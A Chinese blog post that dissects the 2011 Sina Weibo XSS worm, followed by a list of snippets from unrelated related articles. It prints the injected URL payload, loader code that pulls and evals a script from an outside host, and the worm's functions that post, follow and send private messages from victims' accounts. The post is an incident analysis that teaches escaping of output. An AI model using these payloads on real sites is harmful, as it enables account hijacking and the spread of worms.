XSS-从weibo蠕虫事件学习

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

 

Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):

 

sina的名人堂页面页面上存在这么个链接

<a href="http://weibo.com/pub/star/g/123">这个是xss</a>

 

其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了):

Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'

 

其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。

这样的html就是存在xss漏洞

 

好了,这个漏洞被发现了,下面要利用它做什么呢?

1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这样这个url就变成了

其中的引号被封闭了,然后这个页面自动运行了一段js脚本

 

这个js脚本做了这样的事情:

1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)

2 加关注uid为2201270010

3 发私信,向好友传播链接

 

js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip

 


1

2

3

4

5

6

7

8

9

10

11

try{

 

x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);

 

}

 

catch(e){}

 

main();

 

var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

 

其中就是在打开的页面加入了<script节点>,并执行

main中是发送微博,加关注,发私信三个动作

当5000秒后,当前页重新定位到public/topic上


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

function main(){

 

try{

 

publish();

 

}

 

catch(e){}

 

try{

 

follow();

 

}

 

catch(e){}

 

try{

 

message();

 

}

 

catch(e){}

 

}

比如

 


1

2

3

4

5

6

7

8

9

function publish(){

 

url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();

 

data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';

 

post(url,data,true);

 

}

模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题

 

直接post就可以产生这个效果

 

注:这次事件中还用到了短链接服务

短链接服务能自定义用户链接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这么长一个链接能变为http://t.cn/atmcqn

这样能增加用户的点击成功率

 

事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!

 

相关有用的链接地址:

http://soft.yesky.com/security/156/30179156.shtml

http://www.youxia.org/2011/12/XSS-RootKit.html

http://www.youxia.org/2010/04/Anti-XSS.html

http://blog.sina.com.tw/gn00502101/article.php?pbgid=103224&entryid=604456

 

----------------------

作者:yjf512(轩脉刃)

出处:http://www.cnblogs.com/yjf512/

本文版权归yjf512和cnBlog共有,欢迎转载,但未经作者同意必须保留此段声明

时间: 2016-05-17

XSS-从weibo蠕虫事件学习的相关文章

jQuery Mobile的学习时间botton按钮的事件学习

程序员都很懒,你懂的! 生命的绝唱来机只争朝夕,如诗的年华更需惜时如金.不要让今天的懈怠成为一生的痛. 每天都在进步.最近在学习jquery mobile开发,使用的button,绑定事件,和大家一起学习,一起分享! 直接上代码: <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.2/jquery.m

JavaScript高级程序设计 事件学习笔记_javascript技巧

第12章 事件 1.事件流 1.1事件冒泡(IE事件流) □事件冒泡(event bubbling),即事件开始时由最具体的元素(文档中嵌套层次最深的那个节点)接受,然后逐级向上传播到较为不具体的节点(文档). □所有浏览器均支持事件冒泡.Firefox.chrome.safari将事件一直冒泡到window对象. 1.2事件捕获(Netscape事件流) □不太具体的节点更早收到事件,而具体的节点最后收到节点. □Safari.chrome.Opera.firefox支持,但从window对象

C# 委托、事件 学习

1.委托delegate 委托delegate也是一种类型,在任何可以声明类的地方都可以声明委托,它将方法当做另一个方法的参数进行传递,这样就可以传递不同的方法,完成不同的功能,使程序具有很好的可扩展性. 举例: 假设这里有一台电脑,有人会用它写程序,有人会用它打游戏,有人会用它看电影,有人会用它边听音乐边玩游戏,有人会用它边听音乐边看文档,边上QQ. 这台电脑可以抽象成一个类Computer,里面有个方法DoWork,所有的人都要通过这个方法来做自己的事情. 不用委托的时候我们可以实现一些固定

蠕虫病毒:病毒家族里古老又年轻的一员

提起蠕虫病毒,可能大家不大能说清楚它到底是一个什么样的东西,但是一提起红色代码.尼姆达.爱情后门.2003蠕虫王.冲击波.震荡波等臭名昭著的病毒,我想大家一定记忆犹新,这些病毒一旦爆发,便会全球泛滥,引起整个网络的动荡,如果你经常上网的话,很可能遭遇到它们的蹂躏. 蠕虫的产生:东风夜放花千树 蠕虫是一种比较古老的病毒,产生于上世纪七十年代,由于蠕虫病毒一开始便是根植于网络的,因此随着网络的发展,蠕虫的生命力越来越强.破坏力越来越大. 早期的蠕虫是不属于病毒的,也不具备破坏性,它只是一种网络自动工

app-SlideMenu和button的onClick事件冲突

问题描述 SlideMenu和button的onClick事件冲突 app主页面有一个左侧滑动菜单,在5.0以上的系统上,当侧滑菜单滑动出来以后,主界面的Button的点击事件失效了 解决方案 textbox的OnTextChanged事件和button的OnClick事件Android开发之button的onClick事件学习 解决方案二: http://www.douban.com/note/151424703/

天行健,君子以自强不息——访首代著名黑客季昕华

benjurry,季昕华,中国首代黑客代表人物之一,被称为"计算机天才",精通数据库安全.无线安全.IDS.有意思的是,网名benjurry,原来是"笨极了"的音译,熟悉的人都叫他笨笨,这位叫做"笨笨的计算机天才"现供职于华为安全部,从事技术性工作."天行健,君子以自强不息."这是季昕华的人生座右铭,并且一直自强不息,不断努力向目标奋进!也就是这样,从一个默默无闻的农家子弟奋斗到今天的成功!迈向成功的第一步采访时季昕华给我的第

Nodejs实现批量下载妹纸图

  这篇文章主要介绍了使用Nodejs实现批量下载妹纸图的方法和详细代码,十分的实用,喜欢妹纸的小伙伴们可以参考下. 听说最近下载妹子图很火? Nodejs (javascrpt)自然不能落后~ 虽然从没写过像样的Nodejs程序,但作为至少翻过书的前端同学来说,Nodejs用得还蛮顺手的哈~ 花了一点事件学习了下Nodejs的网页获取和文件下载方法,没事乱捣腾就写了这个半成品的下载器 使用方法: 1)新建一个download目录 2)新建download.js(其实名字随便取),并复制到dow

大规模数据的分布式机器学习平台

来自阿里云IDST褚崴为大家带来分布式机器学习平台方面的内容,主要从大数据的特点和潜在价值开始讲起,然后介绍阿里的业务场景中常用到的机器学习算法,以及阿里采用的分布式机器学习框架,最后介绍了PAI算法平台,一起来看下吧.   大数据的特点和潜在价值 我们正在步入大数据的时代,大数据至少具备以下四个特点: 海量样本:数据的规模巨大,特征非常多,每40个月翻一番,数据管理复杂: 内容多样:非结构化数据.异质数据,每天产生的数据里有图像.语音.视频,还有各类传感器产生的数据,各种定位的信息,交易记录-

&quot;永恒之蓝&quot;勒索病毒凶猛 周一上班请用正确姿势打开电脑

一.概述 这个周末,对于网络安全圈来说可以用"血雨腥风"来形容.北京时间5月12日开始,全球范围内爆发了基于Windows网络共享协议进行攻击传播的"永恒之蓝"勒索病毒.截止发稿时为止,包括美国.俄罗斯以及整个欧洲在内的100多个国家,及国内众多大型企事业单位内网和政府机构专网中招,电脑磁盘上的文件被加密,用户被勒索支付高额赎金才能解密恢复文件.由于病毒使用的是高强度的RSA和AES加密算法,目前还无法破解.换句话说,用户一旦中招,基本无解. 鉴于病毒还在全面传播,